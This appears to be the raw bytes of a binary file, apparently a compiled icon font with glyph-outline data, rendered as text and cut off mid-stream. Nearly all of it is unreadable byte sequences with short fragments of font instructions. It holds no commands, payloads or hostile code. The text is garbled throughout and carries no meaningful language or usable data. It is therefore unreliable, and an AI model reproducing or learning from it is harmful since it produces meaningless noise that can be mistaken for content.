�Y��@�,@,*
	Bja"!&+%1#"'&'&'&=>76'676/267)1U
E!1Gf�'+/)H
 *S0$H<gG���@
@a++7&67#".654&/`G !_ "+"R

)

(�M�5(>*)?(MSD(

$,(

$����"$@![OSG +2"&=4'&54264&"���	 #&4&���jj�j�/!
(,!%SW"�
!Q&&����2EN@K
h		h
[[		O		T	HECA@><861/##&$"$+2"&4327623276'&#"6'&#"#"&'&#"32676'&#"3276232������G		

0	
<%&<
L/.J!


		������Z

	
D	"('\	



��*?)@&<
B/"! ?ja?>)(+7'&47>76767'4&5&737.'&'.'&6765762��""S)	

[	h.}""D+W�S
�#e#
)8l+c	�#e#F< ����$,4<j@g
	B[[
[
	
[		[OSG:96521.-*)&%#!	$$
+%2#"'#"'"&5475&5462;6&"264264&"$264&"@&&$
]B &4&  &4&0@
�.�&4& Js$&&$�$&& 5 ���n���"F@|B'	,
	!Bj
	
	
h

ff	[OSG$#@?>=;9541.+)#F$E
+#36;#"&=32276776#"+"=4"+&'"4#&'5467�w5#5K<|<=

@4H!1 
3!J5���:!
A/����@.
VU.A����$,4<J@G
Bhf[OSG	+"&5475'5&546275&5462$"264264&"264&"� � &4& � &4& `` &4&��R�`$]@5$&&$5@]$&&$5005$&&��.����!0BJ@G8Bhf[OTH@=74/+&%		+2+"&=46354&+";26554&";25754&+";265R.@@.�.@@.!z"g�B/�/BB/�/B�f
e��f
e �`A?@<*@,BhO[SG;9/-" '%+7#"&76767632&'&'&#"'.76&+;.'&'6`>HF8+9@\+9@\??UY&S�i�%#&%=_B>6$�&#W�#W?
$-7@.g
+*� =@:MMMQE
		+15333353� � ��� ������#:BR@O43-$B5@[[
[	O	SG@?<;+2"&5475&54264&"264&""&54754'&#'76264&"&4&  &4&  2?!&4&
'``@ -�&$�$&&$�$���&&&%�@``@4���
 +�K�	PX@0h^[
	O
	T
H@1hf[
	O
	T
HY@"!)(%#!+"+ !#+#546;#"%2#54+553+532!3#"&=300$CD4#0
CP0#DD��DC$0DDD#00#DD0��CC$11$CC��
*@'[MQE+"3#4637"3#463�>B�`"�>B�`"�B>�"@B>�"��`�	 (X@U	B@Y[[OSG
&%"!
	+&/'73+'32"&4264&"62"&4P@%>mS>%@�C55P5jKKjKXP88P8;J33J3�`�/��/�`pp�KjKKj�8P88P�3J33J���� 'O@L!%B$?hi[[OSG$	+2"&462"&4264&"327'#%#'76�J33J3#jKKjKXP88P8
+B"00`-S`0(- x3J33J[KjKKj�8P88P62JjP��PXb
����3F[K�PX@ `[OSG@!h[OSGY@31-+)'! +2"&46767676'&766'."3276323276'.76������q	
	
2	�
	/:/	
0"0	2
	
	�������
	R	

	Q	
���� (,7U]q@n-HDQP	B	A6531@jjj		h[
O
SG98[ZWVSRGF><8U9U#-
+#"&46327>?264&"624"&'&712#"&'&'&'?37757376264&"U: !!	&����  !X��!!
	LV#$ 

$&4&
%
;��y� 	x;�m&4&)		%
`��>�-1N]@Z1.'Bk	[
[[OSG32GD?<962N3M+($#+2+"'&54636&+"27676;26?>72+";2+"=43.
1Hs��N>
:U
	K@>
6F)93�#�
|@	��&Ym3,	

$	?���>�=A@>0-B[[OSG<952,)!	+2+"'&5463>76&+"7676;274676&+"&=4;271Hs�3�	F	@	R
`
�9mR	
�
|��Rm
	��T
-


�'6E~�BK�
PX@*`	[[OSG@+h	[[OSGY@DB=;20+)''%!/
+#"&54767&547"#"&5476;&#"32654&'654&#"327�%+I>59(E'.!"9j!D,2)$'
#
"n%'!	
&9*&

0'�$#w
 <
: �)8HC@@%$Bh[[OSG%!%/&*&	+7#"&54767&547#"'&5476;#'327654&#"4&'"&#"326�KA8;*8*#%:�<

k
	y%,$#�(;.(
!*!
z
6
���#8J@Gh[	Y[
O
SG%$43/-('$8%73553+#!"&5463!2"264754+";22=##"&547#3��� �B//B/P004 !/.B5
P��!T/B//B?00��
/ !B.�	��)>��(#BK�PX@:`
h[Y[		O	T		H@;h
h[Y[		O	T		HY@><9841-,'$
+642'#54763!2#&'&#"54&+";276653#!"'&=332p��U T!/.�&&P P
��Q !./p���p
p!''� /��/ !��@�(7}��@,���rfc�s
�S1$	�R2
B��BAK�PX@L		h		f

h^
fYY

YMRF@M		h		f

h
f
fYY

YMRFY@�������������nmedMLFEDC#"
+7'&'&54767655654'&'&'676767#5"'&'.'35'.'&'&54767676753#&'&'654&'&'&'&'#/53&'&'&'&/5#13&'&'&'&'#35767676}
	
	
�


	
	I
@E 	@E


	

&
 	


	$
 Y�f\

	^
	�I	
	k	D
##2
	x
!! j

W
	
	�

	�	

!!��@�EP_L@IG:.+YF;ZB
AhffMQE65-,+%#5"'&'.'35'.'&'&54767676753#&'&''5654'&'&'67676;
@E 	@E

�	
�
	
	�
##2
	x
!! j

O\

	�	
	k	@�@4@1[[OSG		+$2"&472+"&463264&",((05KK5�5KK5�B//B/�((lKjKKjK�/B//B@�@'G@D	[[[OSG
%$! 

+#";264&'2+"&463"264&2"&4@�(88(�(88(5KK5�5KK5((QB//B/ 8P88P8 KjKKjKP((</B//B����*3=9@6<:-BjYORFA!.+;!53275&'&'&'&'=35;3&'&'#67#6�)#*)
�
[,!)P��Q�s33k35YM--
!
  .$-*7@#s51V/$$/V1���	(+''5'.'7��\��  f
+)..)+	��o<Uf��PR$$RX����P@M
B	?YMQE+?753'7'7'7'53�000�0�� �-.�--�.-@�000��0��@@--C--��-.x  ����<@9hfYMTH	+2"&45#5##335z�zz�z;V*VV*�z�zz�k*VV*VV����
N@K
	B@h[OTH

+'7'7'5&2"&42654&"�b�aa�Ue;�qq�q�|XX|XC!R! S!S�o2=Up�pp��W>=XXz����9@6YYMSG
+2"&45#75#z�zz�z�000�z�zz��((X��	 @`#~@{

Y	YMQE   # #"!

	+5353#53'5335373+535353P(P�PPP(P(PPxP(PPPPP�PPPPxPPPP�PPPxPPxPPVk@?a+7'7�x��xk��x��w����
#@ BkOQE+2"&47#z�zz�z�`��z�zz��`�@?a+!������
@
	BOSG+"&4625�z�zz��`�zz�z�`�@�@�(+'��@������
@
	BOSG+"&4627'&�zz�z�``z�zz�
``@�@�(+��@������
*@'	BjMTH

+"&462'�z�zz�
``�zz�z�``�@@a+57�����Vk@@a+7#'7'�*x��xw��x����'<@9hf[[OTH+3"&=462"&=326=4&"265� EbD2F3. 
.2F3@�1DD1�#22#���		��#22#��:@7BAhYMRF+7'5!3!5337!����k�kK�+�ꫪ++��((*��*2:e@b	B	A[		Y

[YOSG87430/,+**'+"&4622"&4264&"/#5'&4?63232"&4264&"9L77L8C6&&6'+' =	H	
";��L88L7B6''6&=�8L77Lg&6''6�-- pV&
	E	< %8L77Lg&6''6����"';�@9(&%$ 	2/	BK�
PX@9^
h
		hiZ		O	S		G@8j
h
		hiZ		O	S		GY@##;:655310.,,+#'#'"!")!)+7'&76?546;7332#"'#"'#753#"'"'+26?243&@`@&3/''./&&0+��+9$2(Z(2$5'\#�	
b55b

�++**T))T��$  �
@?a
	+2'463������@@X����)-1i@f%"B
Y[	YMQE..**.1.10/*-*-,+$#
+"3=7>54'#5'%'2#5.54#5!#5P80@K*�&��&&�hL@�#`@��@8(8
GG
,(�@@6&&&&L4J%gg;#4****`�'/7;H@E#Bh	Y
		[OSG888;8;3=+=4>2+"&=#+"&=.264&"264&"75!58P85
		
�
		
B�@�`�##�
'				'
	ijj����(@%

	BOSG+2"&4'7''7z�zz�z8KKKKKKKK�z�zz��KKKKKKKK �`!)-@@=Bk		Y[OQE-,534
++"&=!+"&=76;2264&"264&"'!'#S-		�		-�����* �Kv�				�v�YU����$,A@>"BY[[OS	G*)!$&!
+62"&43!2+;#"&54?'#2"&4i""PD4
K���J*5""F""_*� (3���""��@OSG	+2#!"&5463U�����*��(@%YMSG
+!!2#!"&5463U��*��U��U��*��B@?BhYMTH%3+77'53#!"&546;#iB��`
+�����B��`���*+����*@'BOSG	+2#!"&54637''U��j��L���*���M����=@:Bh[OSG##+77'3"&4632&#"26{@��]*z�zzV(& Eaa�a�@��]
Vzz�z a�aa����%�K�	PX@2`	^[
Y		M		S	GK�PX@3`		f[
Y		M		S	G@4h		f[
Y		M		S	GYY@%%$#"! 	+2#!"&546;>2*264##5#U��W#,#5�(�(p��:

��@HH������oK�PX@(`f[OSG@)hf[OSGY@		+2"&4264&+4&#"#"3z�zz�z.1"-&%�z�zz��,#0#&2% �`+@(BjOTH'4+%#!"&5467>327''�'6;)��2F>-G+6R��o,�9();F2.D%,Eƍo- �`&>@;h[[OSG" &%'4+%#!"&5467>32264&+54&#"#"3�'6;)��2F>-G+6R##@.&:
!//!�9();F2.D%,E�#2#
.@-#/B/ �`@jOTH'4+%#!"&5467>32�'6;)��2F>-G+6R�9();F2.D%,E��%-5M@J
h[O	\SG32/.+*'&#"+2+"#"&46264&"6264&"264&"264&"�Oq?,&
	Ppp2S}S�dG,>
	p�p�Ch����-@*BjkOTH+62"&4&2"&47�C�����U�U�ք������U����K�	PX@.^_	

ZMQE@,jk	

ZMQEY@$

	+=3#=3#553#3#53�33��MM�3M3�M�M�3�̀3M33�zz@@a+57#'76�P�Pz(P(3P�P�*(P(3@�	ZK�PX@ ^ZMSG@jZMSGY@



3+75!+"&!5373 � ��Pj+��F    ����A@>	BkYMSG

+2+#57#"&54635!��*�*�j�����0  0����@�
+@(BjMTH
4++"&54633'����pp���P�p-S	

�
(+'73'7'7���|��z\� z4����{[<{.�R�(+?'7z� ��z l���z��@@a3+%#!"&=4?7'�����૫����ee�pUU�� X@UBhhYYMTH
		 
	+?#53'72#!"&=3!!#5463�7��8kk���+*��+s8*8kk+��UU*UU���K�	PX@/`^
Y	M	R
F@1hf
Y	M	R
FY@ 

	+%53#5#53#%#533#53M3�MM�3��3�MM�33M�33�MM�3��3���--@*, 	?OSG$"+2'.54632667654&#"'&#"7.0B;.44.;B09%%_(0"**"0(_		�B15D,00,D51B,,��X"2*#0!!0#*2"X��@?a"(+3'.54632632�4.;B09%%90B;.40,D51B,,B15D,0@�#'+�@�M	Y
Y


YYQE(($$  (+(+*)$'$'&% # #"!+3#5##5##335335#75#75#5#75#75#(((�((((�(�(((((�(((((���++++�+++�++V**U++�++V**U++ �`�PX@^\OSG@j\OSGY@	+2#!"&=46;54#!3!2����+���j0��0��0�P:@7YYMQE
	+753!!5!�`����@P 000 0y22����(}V@SMKHGE@?>PA:[V#!|id+BhfkOSGkjXW<;87+2"&4>4'&'.7676'.'&'&'.74'767'&'&4'.'.'263&'/>76636.'&#66z�zz�z�		*4+�#

 ,	

	

 )$!	

6�z�zz���		


0DJ4++#/	&
	 	



	 
��`�
k@
A?K�PX@#`YMTH@$hYMTHY@
+25"&45#3375#33g�geKIg�>g>�eGD�$Gf�R==((==(����%:@7[	[		[OSG$#
+2"&4264&"6"&462"&462"&'3z�zz�z��aa�a��NH9
�
�z�zz��a�aa�Z�'!!��
@@jja+3#5#7##5#�b>��>b`������#�K�PX@6		`
f^^Y	NSGK�PX@8		h
f^fY	NSG@9		h
fffY	NSGYY@! 
		+%3#!"&53"&5463!2!264&"�KA��AKj��j� 
��5����
��R@OYY
Y	M	SG	+2#!"&54635#75#75#X��Ƞ�������0��00X00X00��@�'A@>[	[OTH   ' '$#	
+2+"&=46;5462264&"754&"�;R;t  f$4$��();;)(�  �($$(��1@.B@?jja
	+2'"#"54?6765'uy�iy�gs����)-)B)-(���,�@�@:@7YYMQE
	+=!%5!%!!���������@++k**�+����!+13R@O%/.32Bh[OQE,,,1,1)(#"+%''#5.53327'#"&='7''5462'65'<:::"_!.9P'H1 
)�o�	�)8)\R"]:::!_RRX92C!(�n�	M�((�.&�!�@�!@OSG+62"&4$2"&4&2"&4    `  �       P`+@([[OSG+"&462"&4626"&462P      H  ��  `  @��(+''�������@@��`�&,O@L$ B[YMSG''',',*)
	+#3/=4&'.2!57546754"&5�",	�	,"-;)��);-H"H9$r


r$9H
I/r**r/I
����l� 7@4
		BYMSG+"&53'!57547'7'675462�"R�'$��)?%�-;L��$)s!@�^�

I��`�,@)
BYMSG+"&537!5754675462�"R^)��);--;d**r/I

I/��K@HBhfYMTH%3	+%53#!"&546;#3#5'7#U+������+��W+��*+��U�W��	����'+/;�@�

Y[	Y
O

[YSG,,((9832,/,/.-(+(+*)%$
+=!353"&=462%5335!"&=462'5!353"&=462`P`��P`���`P`      `P     `P     `0�P	&L@I%B	[O
O
QE
! &&
		+%"&4632#"&46322!54%2#54&'61$$$$�$$$$FZd��12]��#2##2##2##2#,& 66 66��9@6	OYO		YQE
+$"&4622!5453##5#5353HP88P8�x���@@ @@ �8P88Ph5+00+� @@ @��!@[OQE+6"&4622!54�P88P8�x����8P88Ph5+00+0�P!@YMSG52+%#!"&=463!2!5!���n�� ��Y����� �0@-YMSG	+2+"&5463#�������n�� ����@�!@?kOSG+2.54264&"^�^P((7*#�0!!0!�\A4�/.HDV!Ay!.!!.����@
	?a+%''575575462��0PP0���p0rr0(hq

qh��
�K�	PX@,`
YY	M	QE@-h
YY	M	QEY@	
+2#!5#54635#!5`&P�P&�� &�UU�&���`PP����!@[OSG+2"&4264&"z�zz�z��aa�a�z�zz��a�aa�����+@([[OSG+2"&462"&4264&"�V==V=�zz�z��aa�a(=V==V�z�zz��a�aa�`pI@FB@hf[OSG
+72673#"&46327#7&#"�*C.]<IggIH44�F&67MM<.&8Hg�g44�F(MnM����(@%YMSG+2"&45#z�zz�z;��z�zz�k**���	(+7'&47''67&67>t[�V!����0M0
@�YE�����0>0K����
%:@7[	[YOSG#"
+62#62"&4264&"6"&462"&462�B6��zz�z��aa�a���#z�zz��a�aa�Z����$:@7
$B[[OSG##&+$2"&547'#"&46327&5462#"'&4$$4$�&%�&4&&��h$4$$X&4&W
&&4&W


X��	�(+%'7'?/?/�n!}}!n�99(<5F�`�KK�`���$D.@���	�(+%'7'?/?/?�n!}}!n�99(<5FF5<�`�KK�`���$D.@@.D$
��`�%)��BK�PX@/`
Y
	[PQE@0h
Y
	[PQEY@&&&)&)('#"+2#!57"&=4264&"75#264&"75#\�\+ � +Bpp�@p�"3�++�3��~``�~``
����#'+/�@�
($+)'%*&
BY[	
Y[

M
Q

E,,  ,/,/.- # #"!+"264'#5'%'2"&4#5!#5/'#5P88P8K*�&��&&�hLLhL`@��@n&&�&�* 8P88P�@@,&&&&LhLLh****�&&&
@@��@�C@@
B@?[OSG+2'654&#'755"&547�B^G1PPPPB^Gc`C0'2H=RQ��=RQ=`C2%2H��N@K	?Y
	M
	SG



+2#!435#35#35#X��@ f&s&s&��@X(�((((((����9@6Bh[OTH+2"&4264&"7'5}�}}�}��cc�c�`p�}�}}���d�dd��o9C��`�C@@BhY[OQE	+=462#!57"&6264&"75!\�\+ � +�  ��e�3""3�++  �``��@�%C@@h[[OTH#"		+2+"&=46;54&"#462264&"��$4$&;R;t  ��($$);;)(�   �`]�BK�	PX@!jj^MTH@ jjjMTHY�'4+%#!"&5467>323'33�'6;)��2F>-G+6RhDddD@�9();F2.D%,EoddL p!@
@	?MQE+37'#%5UkkU p��p@0�1�p@@?MQE+37'#UkkUp��p�� '9@6$#B% 
	@
		?MQE+%4&'5'6'''567''#537'7'5V</@U �3�($._kUU	[3�3R-lE6* �h3��(!
-
_�p�
[�3<1��%@"
@	?MQE+37'#%5'5>4&'UkkU 5@UU@/;;/p��p@0�1�l�l-RfR���W@T	B
Ahhi[MQE#	+"&462'#5'##576323�  (9&29(Q)(o	-HP  �&>`�`D�@Pp&E(����
@@=@jYMQE

	+'5#75#���000��`@00P``��@�!@[OQE+#'&4?3264&"@=�==��FdFFd
�0ss0�0ssKdFFdFp!4A:@7</!B[[OSG437;+%"/"/&4?'&?627627#!"'&/763!24#!"3!2�LLLMLLM�
��
nn%*��``
*tMMLLLLL�
�	
������p40@--$
B[OSG75+#!"'&/763!2'76/&"'&"2?2?64�
��
nn%*HLMLLMLLLb
�	
���LLLLLLMM0�P3VP@MTSK!PD@=-"BhfOSG54;94V5V$++7676'./6767#"&54632&'.#72#"&'675&'&'&'7&/5>�&	(&-
S! U'� L#ER�"3
"PW98XB 	

�X89W?		"
B����E@Bj	YZMQ
E

	+5353!#535335#53@@@��@@@��� 00�@@@���@����#x@u
k		YYY[


M

Q

E   # #"!+75!72#!"5435!73#73#'530` �`����@� � p�������PP�00��P 00 �`*]�@-'G+J52BK�
PX@2`h	[
[OTH@3hh	[
[OTHY@UTSRQP:6/.*)+$42%3"/.'.'.'&'&63673+"'&=4?3272>76'`���
6
	H��		#'Sbb�@	q1��
	]S		S~�.4<�@1.&BK�	PX@/	j`		[[MTH@0	jh		[[MTHY@
:9%$##&C
+%+"'&?5432632#"'3&54632&=4323'&"&462~��v		#H.5!


ǖP;
��E6
�����3BP^�@MJHGCXQ	B4	BK�PX@>h^		f		fY[
O
SG@?hf		f		fY[
O
SGY@^\WULKFDA@;831('=3+%#!"54?6=4&5&6;2654/&=#3!7+"&54?3'32?4'&"6/&#"32w	?��?	11~?e@c�	QgRW14
44IM &\])��%2pp0'�%	||F=$$����*=EM�K�(PX@>
`f[	[[

O
S

G@?
hf[	[[

O
S

GY@FFFMFMJICB?>=;7532$$"$##%$+%#"&'&763232676327#"'&"#"'&7632#"'&"#"'&7632&2"&464&"cJ./L
<&%<
	
		
�
		

�����0pp�pp�"'("	9
	



	


��������p�pp�p����3;CKQu@rD5,(#+*! 	E4		
B		h[	[

ZOSGQPONML&&7>+''#1"''7&547'&546732674627'6;%7&4&"2654&'&3#53�6	9+$#4FF4#$+9	6."6*0
	1*6".��[
%Z^�^^�[%fp`4	4NA1-
+11+
-1BM4	4!04

40!Y(��\\�\cY(X�����39Z@W,+*(#! 
	BYYMSG4449497>	+''#1"''7&547'&546732674627'6;5##�7	9+%
#4FF4#$+9	6."6*0
	1*6".�`4	4NA1-
+11+
-1AN4	4!05


40!�����I@F
Y	YYMQE

	+!!!75!%5!��`��@(p��00��0��@ ��@@=YYMQE
		+!75!%5!��@(p��0@��@ ����/8dW@Tdcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:95.B[OSG86('+#"'.?6327&#1"7&'&'&'&'6'&'32''7''7''7''7''777777'7K('�U('��*$9/M�"/M�Q*$vCC;[TKU[TK65��/�!:"/�!:q65�CC����CGL@IGFCBA@?>=<;:9876543210/.-,+*)('&%$#"! 0BOSG('+#"'.?6327'77''7''7''7''7''7'77777'K('�U('���HCC�;[TKU[TK����CC������_N@KQDC8B	
h[[OSG! ^]YXTSMK=; _!_+"27>764'.'&2"&4"'&76767>76?67632'&'&#"'&'.'&"V&#>>#&V&#>>#������L

	
!

 �>#&V&#>>#&V&#> ������( +
#)%-����FE@BD9"(BhfiOSG><'&	+2#"&'547>654'.'&"3767>76?67632�]�zN[�
~%>#&V&#>
$
		��]J`�[Tr�+&#>>#&+	(-, �`�(+'17� ��@�� ��`@ �(+'7-��� ��� �`�(+71'7 �� @ �� � �`�(+'7�����M���� �`�(+7'7���M��� �`@
BOSG+7"/&64276�WXJJ~OPC��C`@#@ BkOSG!++7"'&'&4?6!2#!^OPC��CbWXJJ`@#@ BkOSG!#+7&?!"43!'&6"�C��COPbJJWX �`@BOSG+/"5&76762�JJWXC��COP`@ �(+%''7-����`����9�Gu�q@n
�{yLD;:
B.Ah

hh[
[	[		O		S	G����~}om.'-.(
+753#"'&'&'&5476767632"'&'"'&'.547567>32733276767654'&'&'&#"32767676'6?&'&'#'&'&#"327676�


			


"	&


	




V
	



#		

	f



		 
 9
	
	9Gv�r@oF������K-Bhhh		[[

[

O

S
G�����~rpb`!/&-.(+73#"'&'&'&5476767632#"'&'#"'&'&'&54?67676327333276767654'&'&'&#"327676'6?&'&'+5&'&#"327676�





		'	
		

F	�

	#			


	h		
/7
@�@#}@zY
		Y
Y

YMQE   # #"!

	+53#33#535#53!5353#53753P@@PP@@��P�7@��ఀ��� ������@�@�K�PX@=`
^^^Y	
M	
RFK�(PX@?`
ff^Y	
M	
RF@Ah
fffY	
M	
RFYY@+

	+!!75#5#75#5#75#��`PPWYP@�@�� ������ ������"Ks��@����������������������FEB?>=<:9875432.-,+)�~olGD��������������|{zywtnmgfedba`_]\[ZUTSR")Bhf[OSGsrPNIH'/a$+%#"+"&=46=>71632'4&#"#77777346%;&5'7&'.''7&''7&''7.'&''7.#>7&''7&''7&''7&''7&''7&'77777�jIVzgIVzpO	


��pO	


	�B_
	
		B]	

		�IgzVIjzVOp

	Op	


	�]B	

_B		



����S��@����������~}|zvutsonmljihgedcb_\[/-,+*'&(������]ZXVTRQPOJIHGEDCB@?>=8765(%#"! /Bh[OSGyx21
+21#"&54671627&'7'&'7'&'7'&'7'&'7'&'277777765&'7'&'.'7'&'7'&'7'&'&'7'&'"7777�Vz	vPVzjN		

		



	�


			
�zVNjzVPv	�q



			


	�	



		����%-7CNV�@2 
S$U/"
OMD?=6,*(&

Bhff

h[
[	O	SG88RQIHGE8C8C54+2"&44''&#236742'67&67&'7'&'6'67'&'&3263&'&'67&'z�zz�z�>'3B!�K5^KA#,/)!I
EY\?�+:,#$8Q
1�;D7:�z�zz�VS92-

�(&#/.(;)N<y7HJB
E')/F+C5"�:&!&"3M,B����Q_@\.(1*
PNLJDB=4BjjjjjjOTH	+2"&4&'67465&'&'67&'"'&'&'"#&'&'6727&'676z�zz�zM:7D#!AK^	YE
?\#$#,:41
,6!�z�zz��HB,

-2./#&W<N)'E
F"	&!&H7>J	��-37@4B[YMSG21/.'&! +%!>	5475462!&54'&""&'3>��

ff��*(%X%�(h�#

y	

	��(fE FK#_��%+@(BYMSG$#! +%!>	5475462"&'3>��

ffj(h�#

y	

	������@w�@qp54mgYSQ
BK�(PX@M`	

`
f

f


fi[[

O
T

H@Oh	

h
f

f


fi[[

O
T

HY@&BAlia^WUJGFCAwBv<90.)&" @?+"264&2"&42+"#"&/&+"+.?576'&+"&463"43!2+"1#"/4'&'&+"+"'&?5716'&#�4((�

d 
	

 d

Pf 		 �"((T
&�
	xx
�&
 (�x
x�*����:I@F/.B$#?k[OSG64"
:9+422+'&/'&'&+"5'&'&?576'&'#"&463�`x

b		b

@``
(�		x		!x		�(
��	+@(
@
?YMQE#!+;7+?37#�dAdA.`�`<�Y������@@?ja+37#�`�`�����"2@d@a5!	<#B@Ahfi
	[		O		S	G?=8620/.*( 

""
+2+&#"#.#"+5=46326=.#"36327=&#"632,86..98,G/$#/96�P%/6;�)&��*%%*		&),,���
��$�5!��+$��%I@F$Bhi	O	SG#" %%	
+2#.#"+5=4632+&#"#6d;.98�,86.���%*		&))&��*%a��,3FY@V;:920.ABk	[
O
SG--EB><86-3-3,)%"
	
+2+"+54+"&546;21634&+";2?54+'5#"6;26����

"	�	�O		@ 00	�	���

��5��@dd���  �����/B@?.-,&%$	BkOSG+)!
//+53/72+"+54+"&546;2746;75(@	P���00tt_��


��I	�  �0@P $i@f

YY
[	[		M		Q	E!!
	!$!$#"  
	
+7+";24'2+"&4637#!5#55!%5!�?@@��� ����  pP��P���000@P:@7Y[OQE
	
+75!'";24#'!#!# �@�@��0���  �P��".c@`		[
Y

Y

YMQE###.#.-,+*)('&%$""! 3+3!3533=4;2353354+"5!%5##5!#5#p0�`0 0c0 �a���  �  @��@ �����00��"*�K�PX@:
		`[Y
YMQE@;
		h[Y
YMQEY@1###*#*(%"! 

	+535!5313!53353=4;233'54+"0 P�P 0�`0 0c0 `a@����@@@     ���K�PX@2`
YYY	M	QE@3h
YYY	M	QEY@

	+!!%!#53!#50�� ��p@0��0����p��0@��	*@'hYMQE+!!!#5#0��P0@�0������ �#+3;CKS[c,K�PX@g

`
	
``"[!Y 
Y	
	ZZZOSG@j

h
		
hh"[!Y 
Y	
	ZZZOSGY@M	ba`_^\ZYXWVTRQPONLJIHGFDBA@?><:98764210/.,*)('&$# 	#+53'3572+"&54634+";2';#53;#53;#537;#53;#53;#53;#53;#53 ������� @ @ @P @P @P @ @P @ @@0  0��@��@���@p@p@�@ @p@p@ �`
 �#'+/3n@kY
Y	Y		Y
M
SG3210/.-,+*)('&%$#"! 	+2+"&5463#35#3#35#35#3#35#35#3'35#��0000P000000P0000000�����@؀�0p0�0�0p0�0�0`0���K�PX@:^
h
Z	Y		M		Q	E@9j
h
Z	Y		M		Q	EY@-

	+!5'3!3533535!5##5##5#`P`��`�P��`P�PP@@��`   ����@    @���K�PX@0`
		Y
YMQE@1h
		Y
YMQEY@)

	+1!!5335335#53353���`����`PP0000    0�P;CKOS�@�/"B[M
[



[Y[	[		O		S	GPPLLPSPSRQLOLONMIHEDA@=<;830*(!	+2#!"&=46;533>;254+'&'./#"+"3!2&2"&4264&"75342b

��
"
XL>X	<@�F33F39:)):)��@ �
�
ϰ	�
�2F22Fh)8))8^b@@0�P#'/7m@jh	

	
h[
Y



[[OTH$$5410-,)($'$'&%! 	+2#!"&=46;533>;2264&"75#&2"&4264&"b

��
"
X�F33F3�}:)):)8 �
�
�2F22Fe)8))8<��.2I@F21
B

[		[[OSG+*)(!%+62"&424"62"&424";#"'&/&'&#527%V�H����
+!(�� 0 �0"��c���&6@3B[[OSG!'+62"&462"&4;#"'&/&'&#52V�X����
+!0�0"�����	��BK�
PX@<h_Y		Y
Y


M


Q
E@;hkY		Y
Y


M


Q
EY@

		+3#5!#5!##'#%5!35`p � 0
@���7���p`p�@@��77����
oK�
PX@(h_YMQE@'hkYMQEY@

	+##5!##'# �p� 0
@��pp��@@ �`@e@b<;:/	Bh
		h		fk[O[SG42.,,+!$!!-+"76;6323327654&2#"'#&#"3#"+&7654'1'&54	�g
'
 &H52��qoP+ 2	PQ9&#	)
('79aZ@?W9&.@ �`"C@@Bh^fkPSG$ !$+2#"'#&#"3#"+&7654'1'&54q�qoP+ 2	`Z@?W9&.@r�@@a+7"/77J
8/}v8/~����4@1Bh[OSG+"/72"&4264&"$�
8/-�zz�z��pp�p�8/�z�zz���p�pp�����'@$

	BjOTH+2"&47''2z�zz�z��}/8
�z�zz���~/8����+@([[OSG+2"&4264&"62"&4z�zz�z��pp�p}�^^�^�z�zz���p�pp��^�^^�����!@[OSG+2"&4264&"z�zz�z��pp�p�z�zz���p�pp�����:@7h[ZOSG+2"&4264&"753#5z�zz�z��pp�p�q�z�zz���p�pp�O������
1@.hYMSG

+2"&45##z�zz�z�`�z�zz�g��`� �(+''7'7�TTTTTTT TTTTTTT����@@=B[OSG+"&4664&"''7'7&zz�zz�nn�nn�TTTTTTT�z�zz�z�rn�nn�nTTTTTTT����/@,

	BOSG+"&46'7''7&zz�zz�TTTTTTTT�z�zz�z��TTTTTTTT����DZ@W<	D B?h
	
[		[[OSG@>;9!)%##1#+7537'72+5;264&+54&#"'&#";#"&5467>32>321�77KJ�"/0"ea&';*1


	+[[%5"!9"0EC6��6II�0D0'6()8	$,4%-	#C0����(A@>( B?kOOYSG#'A#+7537'?2+5#+"&5467>32>321�7KJ�"/0"�#F%5"!9"0E
kk6II�0D0��4%-	#C00�P8I@F)B[[[OSG-+&$!86#'4	+%2#!"&5467>32>32264&+54&#"'&#"3!o"/0"��%5"!8"0E'&;*1


	+�0#"26&-	%E0�)8'*9 	%-��DW@T=	D!Bk
	
[		[[OSGA?<:!)%##1$+7'7'#572+5;264&#'54&#"'&#";#"&5467>32>32�JK7�"/0"ea&';*1


	+[[&4"!9"0E�KK6��2#"1'8**9 
	(,4&/	$D0��(L@I(!
BjO\MQE%# 	+3532+57'7+"&5467>32>32��"/0"�7KJ7#<&4"!9"0E``2#"1�6KK6�4&/	$D00�PO�BK�PX@j^OTH@jjOTHY�#'4+%2#!"&5467>32>32o"/0"��%5"!8"0E�0#"26&-	%E00�P1U|@y	4
	8BMHFD@	
	
h

h
[	[

[OTH32=<2U3T.-)&#!11+7""#;264&#"#'&'&'232+"&5467546276767&'&'&547&'>7673}%

�*&&�."2"&		
,#$2�%

(#&6'  .b

'#!*()	3#$/�P3�@B@K�PX@2^j`ffOTHK�PX@1jj`ffOTH@2jjhffOTHYY@! 0/+(%# 3!3
	+%27#654'&'&'&'5>7673'232+"&5467546i!3 
,#$2�*&&�.�
&")	3#$a#&6'  /` 1^@[		B		hf
[	[OTH.-)&#!11+""#;264&#"#'&'&'232+"&5467546}%

�*&&�.%

(#&6'  .` ~K�PX@^`OTHK�PX@j`OTH@jhOTHYY@+232+"&5467546}*&&�. #&6'  .��?�����@�3,XWVQPO7542-+*(]\YNLK8'���������~{nkjihgedba`_^ZMJIHGFDCA@?=<;:9&%$#" <}|lzyxwrqpom

	B6)AK�
PX@2^jh]\OSG@0jjhi\OSGY@������������utTS0/	+%'''#/'7''7''7/5?'77'77'7?3777'?5/7''7''7'/#'/'7773?7'77'7&2"&4?&#"27'7654'&'�!"
 	
###$ 	 	#!    	 	!!!!!! �jKKjKh.Bp) Kh	!�!�"!!"	 	
 #
###

	P!!"!!" 	 ! �KjKKj5hB�K!&+.!i��X`�@}PNMLKFEDCA
Q@XVUTSR?>=<;9865432
 1 0/.-,+&%$#"!BOBA[[OQE^]ZYIH)($.+'7&546327#"'&%'''#/'7''7''7/5?'77'77'7?3777264&"�!K
hB.rhK ).!!!"
 	
###$ 	 	#!�jKKjK*!.+Kmh.B�K!,"!!"	 	
 #
###

	�KjKKj�p)4=FO\it@q#
cXIG@>:
/,iR3B	

h
f[


[OSG^]QPOMLKEDCA=<"'"%+%#"'#"&5467&5462'632632654&"4'"'6&263&'2'67&#"#767"&#"27&547&'2654&'.$.B.0  0.B.$B\B�
0  0
8P8p
(T
0(�P9(�P8(9�
<&.B""B.&<
.BB.""(88�=.
.�$83!(88(!38$�pDOXaj�@.3+6(:$
fd`TR/
ME	ID	B9AK�	PX@Eh

f

	`	
	f[

O

S
G@Fh

f

	
	h	
	f[

O

S
